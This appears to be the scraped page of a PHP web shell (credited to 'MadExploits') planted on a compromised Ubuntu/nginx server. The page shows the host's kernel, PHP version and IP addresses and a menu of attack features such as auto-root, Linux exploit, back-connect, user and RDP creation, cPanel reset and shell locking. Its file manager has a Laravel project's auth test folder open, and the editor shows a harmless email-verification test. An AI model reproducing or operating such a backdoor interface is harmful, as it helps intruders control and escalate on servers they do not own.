Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sifaris /
tests /
Feature /
Auth /
[ HOME SHELL ]
Name
Size
Permission
Action
AuthenticationTest.php
1.04
KB
-rw-rw-r--
EmailVerificationTest.php
1.75
KB
-rw-rw-r--
PasswordConfirmationTest.php
1.06
KB
-rw-rw-r--
PasswordResetTest.php
1.88
KB
-rw-rw-r--
PasswordUpdateTest.php
1.38
KB
-rw-rw-r--
RegistrationTest.php
782
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : EmailVerificationTest.php
<?php namespace Tests\Feature\Auth; use App\Models\User; use App\Providers\RouteServiceProvider; use Illuminate\Auth\Events\Verified; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\Event; use Illuminate\Support\Facades\URL; use Tests\TestCase; class EmailVerificationTest extends TestCase { use RefreshDatabase; public function test_email_verification_screen_can_be_rendered(): void { $user = User::factory()->create([ 'email_verified_at' => null, ]); $response = $this->actingAs($user)->get('/verify-email'); $response->assertStatus(200); } public function test_email_can_be_verified(): void { $user = User::factory()->create([ 'email_verified_at' => null, ]); Event::fake(); $verificationUrl = URL::temporarySignedRoute( 'verification.verify', now()->addMinutes(60), ['id' => $user->id, 'hash' => sha1($user->email)] ); $response = $this->actingAs($user)->get($verificationUrl); Event::assertDispatched(Verified::class); $this->assertTrue($user->fresh()->hasVerifiedEmail()); $response->assertRedirect(RouteServiceProvider::HOME.'?verified=1'); } public function test_email_is_not_verified_with_invalid_hash(): void { $user = User::factory()->create([ 'email_verified_at' => null, ]); $verificationUrl = URL::temporarySignedRoute( 'verification.verify', now()->addMinutes(60), ['id' => $user->id, 'hash' => sha1('wrong-email')] ); $this->actingAs($user)->get($verificationUrl); $this->assertFalse($user->fresh()->hasVerifiedEmail()); } }
Close